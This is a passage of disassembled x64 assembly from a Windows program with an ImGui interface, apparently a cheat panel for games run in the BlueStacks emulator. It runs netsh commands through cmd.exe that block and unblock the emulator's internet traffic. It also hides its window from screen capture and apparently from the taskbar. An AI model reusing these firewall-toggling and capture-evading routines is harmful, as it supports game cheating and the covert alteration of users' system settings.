mov dword [rcx + 0x90], eax
mov byte [rcx + 0x94], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140057680
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005767b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de6f0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de700]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de710]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de720]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de730]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de740]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de750]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de760]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x1400de770]
mov word [rcx + 0x90], ax
movzx eax, byte [0x1400de772]
mov byte [rcx + 0x92], al
mov byte [rcx + 0x93], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140057777
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057772
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de790]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de7a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de7b0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de7c0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de7d0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de7e0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de7f0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de800]
movups xmmword [rax + 0x80], xmm0
mov eax, dword [0x1400de810]
mov dword [rcx + 0x90], eax
mov byte [rcx + 0x94], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005785f
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005785a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.Status:_Block_Internet
lea rcx, [0x140244a10]
call fcn.140041790
jmp 0x140057ab4
xorps xmm0, xmm0
mov qword [rbp + 0x3e0], r13
lea rdx, [rbp - 0x48]
mov qword [rbp + 0x3e8], r13
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp - 0x48], reloc.WS2_32.dll_WSAGetLastError
call fcn.1400423b0
mov rcx, qword [rbp - 0x48]
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
mov qword [rbp + 0x3e8], rcx
mov r8d, 0x67
mov rcx, rax
mov qword [rbp + 0x3d0], rax
mov rbx, rax
mov qword [rbp + 0x3e0], WSAGetLastError
call fcn.140041980
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
mov byte [rbx + 0x67], dil
lea rcx, [rbp + 0x3f0]
call fcn.140041520
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x410]
call fcn.140041520
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x430]
call fcn.140041520
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_In__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x450]
call fcn.140041520
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_Out__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x470]
call fcn.140041520
lea rbx, [rbp + 0x3d0]
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
lea rax, str.cmd.exe
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov dword [rbp + 0x320], reloc.WS2_32.dll_WSASetLastError
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x338], rax
mov rax, rsi
sub rax, rcx
mov dword [rbp + 0x324], 0x40
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
cmp rax, 3
jb 0x140058208
cmp qword [rbx + 0x18], 0xf
mov rax, rbx
jbe 0x1400579c7
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
lea r9, [0x1400dcb60]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], 3
call fcn.140041ea0
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x28]
cmp rdx, 0xf
cmova rax, rcx
mov qword [rbp + 0x340], rax
jbe 0x140057a34
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057a2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f8
call fcn.1400bbaa4
lea rcx, [rbp + 0x320]
mov dword [rbp + 0x350], r13d
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140057a6b
mov rcx, qword [rbp + 0x388]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 0x20
lea rax, [rbp + 0x490]
cmp rbx, rax
jne 0x140057950
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Status:_Resume_Internet
lea rcx, [0x140244a10]
call fcn.140041790
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.140041430]
lea rcx, [rbp + 0x3d0]
lea r8d, [rdx - 0x1a]
call fcn.1400bb794
cmp byte [0x140223722], dil
je 0x140057acd
cmp byte [0x1402237bd], dil
je 0x140057acd
mov byte [0x1402248f8], 1
cmp byte [0x140223795], dil
je 0x140057ae6
cmp byte [0x1402237cd], dil
je 0x140057ae6
mov byte [0x140244a0f], 1
cmp byte [0x1402236ca], dil
je 0x140057b08
cmp byte [0x1402237b2], dil
je 0x140057b01
mov byte [0x140244a0d], 1
jmp 0x140057b08
mov byte [0x140244a7b], 1
cmp byte [0x140223723], dil
je 0x140057b2a
cmp byte [0x1402237be], dil
je 0x140057b23
mov byte [0x140244a5f], 1
jmp 0x140057b2a
mov byte [0x14022383c], 1
cmp byte [0x1402237e9], dil
je 0x140057b4c
cmp byte [0x1402237d6], dil
je 0x140057b45
mov byte [0x140244a5d], 1
jmp 0x140057b4c
mov byte [0x140244a7c], 1
cmp byte [0x140223728], dil
je 0x140057b65
cmp byte [0x1402237bf], dil
je 0x140057b65
mov byte [0x14022383b], 1
cmp byte [0x14022372d], dil
je 0x140057b7e
cmp byte [0x1402237c3], dil
je 0x140057b7e
mov byte [0x140244d01], 1
cmp byte [0x1402237b0], dil
je 0x140057b97
cmp byte [0x1402237cf], dil
je 0x140057b97
mov byte [0x140244a7e], 1
cmp byte [0x140223786], dil
je 0x140057bb9
cmp byte [0x1402237cb], dil
je 0x140057bb2
mov byte [0x140244a78], 1
jmp 0x140057bb9
mov byte [0x14022489e], 1
cmp byte [0x140223773], dil
je 0x140057bd2
cmp byte [0x1402237c8], dil
je 0x140057bd2
mov byte [0x140244a3e], 1
cmp byte [0x1402237d7], dil
je 0x140057beb
cmp byte [0x1402237d0], dil
je 0x140057beb
mov byte [0x1402248fd], 1
cmp byte [0x14022372f], dil
je 0x140057c04
cmp byte [0x1402237c5], dil
je 0x140057c04
mov byte [0x14022489f], 1
cmp byte [0x140223729], dil
je 0x140057c1d
cmp byte [0x1402237c0], dil
je 0x140057c1d
mov byte [0x1402248f9], 1
cmp byte [0x1402237e7], dil
je 0x140057c36
cmp byte [0x1402237d4], dil
je 0x140057c36
mov byte [0x140244a3c], 1
cmp byte [0x1402237e6], dil
je 0x140057c4f
cmp byte [0x1402237d3], dil
je 0x140057c4f
mov byte [0x140244a7d], 1
cmp byte [0x140223771], dil
je 0x140057c68
cmp byte [0x1402237c6], dil
je 0x140057c68
mov byte [0x14022383d], 1
cmp byte [0x140223772], dil
je 0x140057c8a
cmp byte [0x1402237c7], dil
je 0x140057c83
mov byte [0x1402248ff], 1
jmp 0x140057c8a
mov byte [0x1402248fc], 1
cmp byte [0x1402236c9], dil
je 0x140057ca3
cmp byte [0x1402237b1], dil
je 0x140057ca3
mov byte [0x1402248fc], 1
cmp byte [0x140223794], dil
je 0x140057cbc
cmp byte [0x1402237cc], dil
je 0x140057cbc
mov byte [0x140244a3d], 1
cmp byte [0x1402237e4], dil
je 0x140057cd5
cmp byte [0x1402237d1], dil
je 0x140057cd5
mov byte [0x14022383f], 1
cmp byte [0x1402237e8], dil
je 0x140057cee
cmp byte [0x1402237d5], dil
je 0x140057cee
mov byte [0x140244a3b], 1
cmp byte [0x1402236df], dil
je 0x140057d07
cmp byte [0x1402237ba], dil
je 0x140057d07
mov byte [0x140244a5e], 1
cmp byte [0x140223721], dil
je 0x140057d20
cmp byte [0x1402237bc], dil
je 0x140057d20
mov byte [0x140244d02], 1
cmp byte [0x14022372b], dil
je 0x140057d39
cmp byte [0x1402237c1], dil
je 0x140057d39
mov byte [0x140244a7a], 1
cmp byte [0x1402236cd], dil
je 0x140057d52
cmp byte [0x1402237b4], dil
je 0x140057d52
mov byte [0x140244a79], 1
cmp byte [0x1402236cf], dil
je 0x140057d74
cmp byte [0x1402237b6], dil
je 0x140057d6d
mov byte [0x140244a0c], 1
jmp 0x140057d74
mov byte [0x1402248fa], 1
cmp byte [0x1402236dd], dil
je 0x140057e78
cmp byte [0x1402237b8], dil
je 0x140057e0f
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x58], r13
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x58]
mov r15d, 1
mov r8d, r15d
mov qword [rsp + 0x20], rax
lea r9, [0x1400c0f60]
xor edx, edx
lea rcx, [0x1400c0f70]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140057dfe
mov rax, qword [rbp - 0x58]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x58]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
movss xmm9, dword [0x1400ded20]
jmp 0x140057e87
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x60], r13
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x60]
mov r15d, 1
mov r8d, r15d
mov qword [rsp + 0x20], rax
lea r9, [0x1400c0f60]
xor edx, edx
lea rcx, [0x1400c0f70]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140057dfe
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x60]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x60]
jmp 0x140057df8
movss xmm9, dword [0x1400ded20]
mov r15d, 1
call fcn.14000b130
mov rcx, qword [0x140249150]
lea r8, [0x1402490e8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x70], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x140249150]
lea r8, [rbp + 0x70]
mov rdx, qword [0x1402490e8]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x1402236d0]
cmp dword [rbx + 0x4870], 0
jg 0x140057ef5
mov r8d, 0x72d
lea rdx, [0x1400cf590]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140042890
mov rcx, qword [0x1402490f0]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rbp - 0x50]
jmp 0x1400545ba
mov rbx, qword [0x1402236d0]
test rbx, rbx
je 0x140057f4a
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140057f6e
jmp 0x140057f4d
mov rdi, r13
mov r8d, 0x241
lea rdx, [0x1400dbde0]
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402236d0]
test rbx, rbx
jne 0x140057f94
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402236d0]
call fcn.140043820
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140057fa8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140057fb6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140057fc5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x1402236d0]
mov qword [rbx + 0x90], r13
mov qword [rbx + 0xa0], r13
test rax, rax
je 0x140057fe5
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1402236d0]
test rax, rax
je 0x140058008
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005802c
jmp 0x14005800b
mov rbx, r13
mov r8d, 0xa6
lea rdx, str.C:UsersAdministratorDownloadsCompressedMax._ORIGINAL
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402236d0]
test rax, rax
jne 0x140058052
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402236d0]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14005806c
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1402236d0]
mov qword [rdi + 0x80], r13
mov qword [rdi + 0x90], r13
test rax, rax
je 0x140058085
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1402236d0]
mov qword [0x1402236d0], rbx
call fcn.140006660
mov qword [0x1402236d0], r13
test rbx, rbx
je 0x1400580d0
mov rcx, rbx
call fcn.14001ff00
mov rax, qword [0x1402236d0]
test rax, rax
je 0x1400580c7
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1402490e8]
test rcx, rcx
je 0x1400580e9
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1402490e8], r13
mov rcx, qword [0x1402490f0]
test rcx, rcx
je 0x140058102
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1402490f0], r13
mov rcx, qword [0x140249150]
test rcx, rcx
je 0x14005811b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140249150], r13
mov rcx, qword [0x140249140]
test rcx, rcx
je 0x140058134
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140249140], r13
mov rcx, qword [0x140223788]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2a8]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm11, xmmword [rsp + 0x5d0]
xor eax, eax
movaps xmm12, xmmword [rsp + 0x5c0]
movaps xmm10, xmmword [rsp + 0x5e0]
movaps xmm13, xmmword [rsp + 0x5b0]
movaps xmm14, xmmword [rsp + 0x5a0]
movaps xmm9, xmmword [rsp + 0x5f0]
movaps xmm8, xmmword [rsp + 0x600]
movaps xmm7, xmmword [rsp + 0x610]
movaps xmm6, xmmword [rsp + 0x620]
mov r12, qword [rsp + 0x640]
mov r14, qword [rsp + 0x638]
movaps xmm15, xmmword [rsp + 0x590]
mov rdi, qword [rsp + 0x670]
mov rsi, qword [rsp + 0x668]
mov rbx, qword [rsp + 0x660]
mov r15, qword [rsp + 0x630]
add rsp, 0x648
pop r13
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400346f0
int3
call fcn.1400346f0
int3